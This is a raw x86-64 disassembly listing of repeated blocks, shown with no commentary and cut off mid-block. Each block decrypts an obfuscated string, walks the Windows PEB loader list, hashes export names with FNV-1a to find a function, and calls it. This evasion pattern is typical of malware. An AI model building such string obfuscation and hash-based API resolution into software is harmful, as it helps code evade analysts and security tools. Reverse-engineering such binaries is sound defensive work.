mov rsi, rax
cmp byte [rax + 0x85], 0
je 0x140062ed3
mov r8d, r14d
cmp r15d, 2
jl 0x140062e91
movdqa xmmword [rsp + 0x40], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x140062da0
cmp r8d, 0x86
jge 0x140062ed3
movsxd r9, r8d
add r9, rsi
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x86
jl 0x140062ea0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140062f66
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140062f66
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140062f61
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140062f40
cmp r8d, 0x491e0a9c
je 0x140062f6b
test r9d, r9d
jne 0x140062f20
mov rax, qword [rax]
jmp 0x140062ef0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, rsi
call rdx
lea rdx, [rbp + 0x23f0]
lea rcx, [rsp + 0x62]
call fcn.14004b790
mov rsi, rax
cmp byte [rax + 0x98], 0
je 0x140063103
mov r8d, r14d
cmp r15d, 2
jl 0x1400630c1
movdqa xmmword [rsp + 0x40], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x140062fd0
cmp r8d, 0x99
jge 0x140063103
movsxd r9, r8d
add r9, rsi
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x99
jl 0x1400630d0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140063196
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140063196
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140063191
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140063170
cmp r8d, 0x491e0a9c
je 0x14006319b
test r9d, r9d
jne 0x140063150
mov rax, qword [rax]
jmp 0x140063120
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, rsi
call rdx
lea rdx, [rbp + 0x2490]
lea rcx, [rsp + 0x63]
call fcn.14004b820
mov rsi, rax
cmp byte [rax + 0x9a], 0
je 0x140063333
mov r8d, r14d
cmp r15d, 2
jl 0x1400632f1
movdqa xmmword [rsp + 0x40], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x140063200
cmp r8d, 0x9b
jge 0x140063333
movsxd r9, r8d
add r9, rsi
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9b
jl 0x140063300
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400633c6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400633c6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400633c1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400633a0
cmp r8d, 0x491e0a9c
je 0x1400633cb
test r9d, r9d
jne 0x140063380
mov rax, qword [rax]
jmp 0x140063350
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, rsi
call rdx
lea rdx, [rbp + 0x2530]
lea rcx, [rsp + 0x64]
call fcn.14004b8c0
mov rsi, rax
cmp byte [rax + 0x9a], 0
je 0x140063563
mov r8d, r14d
cmp r15d, 2
jl 0x140063521
movdqa xmmword [rsp + 0x40], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x140063430
cmp r8d, 0x9b
jge 0x140063563
movsxd r9, r8d
add r9, rsi
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9b
jl 0x140063530
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400635f6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400635f6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400635f1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400635d0
cmp r8d, 0x491e0a9c
je 0x1400635fb
test r9d, r9d
jne 0x1400635b0
mov rax, qword [rax]
jmp 0x140063580
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, rsi
call rdx
lea rdx, [rbp + 0x21d0]
lea rcx, [rsp + 0x65]
call fcn.14004b960
mov rsi, rax
cmp byte [rax + 0x81], 0
je 0x140063793
mov r8d, r14d
cmp r15d, 2
jl 0x140063751
movdqa xmmword [rsp + 0x40], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x140063660
cmp r8d, 0x82
jge 0x140063793
movsxd r9, r8d
add r9, rsi
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x82
jl 0x140063760
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140063826
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140063826
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140063821
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140063800
cmp r8d, 0x491e0a9c
je 0x14006382b
test r9d, r9d
jne 0x1400637e0
mov rax, qword [rax]
jmp 0x1400637b0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, rsi
call rdx
lea rdx, [rbp + 0x2370]
lea rcx, [rsp + 0x66]
call fcn.14004b9d0
mov rsi, rax
cmp byte [rax + 0x7d], 0
je 0x1400639b0
mov r8d, r14d
cmp r15d, 2
jl 0x14006396b
movdqa xmmword [rsp + 0x40], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x140063880
cmp r8d, 0x7e
jge 0x1400639b0
movsxd r9, r8d
add r9, rsi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7e
jl 0x140063980
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140063a46
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140063a46
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140063a41
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140063a20
cmp r8d, 0x491e0a9c
je 0x140063a4b
test r9d, r9d
jne 0x140063a00
mov rax, qword [rax]
jmp 0x1400639d0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, rsi
call rdx
lea rdx, [rbp + 0x2020]
lea rcx, [rsp + 0x67]
call fcn.14004ba50
mov rsi, rax
cmp byte [rax + 0x8c], 0
je 0x140063be3
mov r8d, r14d
cmp r15d, 2
jl 0x140063ba1
movdqa xmmword [rsp + 0x40], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x88
jl 0x140063ab0
cmp r8d, 0x8d
jge 0x140063be3
movsxd r9, r8d
add r9, rsi
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x8d
jl 0x140063bb0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140063c76
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140063c76
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140063c71
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140063c50
cmp r8d, 0x491e0a9c
je 0x140063c7b
test r9d, r9d
jne 0x140063c30
mov rax, qword [rax]
jmp 0x140063c00
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, rsi
call rdx
lea rdx, [rbp + 0x30f0]
lea rcx, [rsp + 0x68]
call fcn.14004bae0
mov rsi, rax
cmp byte [rax + 0x97], 0
je 0x140063e03
cmp r15d, 2
jl 0x140063dc8
mov edx, r14d
movdqa xmmword [rsp + 0x40], xmm10
mov rcx, rax
mov r8d, dword [rsp + 0x40]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x98
jl 0x140063ce0
jmp 0x140063e03
mov r9, rsi
mov r8d, r14d
nop
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x98
jl 0x140063dd0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140063e96
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140063e96
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140063e91
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140063e70
cmp r8d, 0x491e0a9c
je 0x140063e9b
test r9d, r9d
jne 0x140063e50
mov rax, qword [rax]
jmp 0x140063e20
mov edx, dword [rdi + 0x1c]
add rdx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rdx + rax*4]
add rdx, r10
mov rcx, rsi
call rdx
lea rdx, [rbp + 0x3050]
lea rcx, [rsp + 0x69]
call fcn.14004bb60
mov rsi, rax
cmp byte [rax + 0x9e], 0
je 0x140064033
mov r8d, r14d
cmp r15d, 2
jl 0x140063ff1
movdqa xmmword [rsp + 0x40], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x140063f00
cmp r8d, 0x9f
jge 0x140064033
movsxd r9, r8d
add r9, rsi
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9f
jl 0x140064000
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
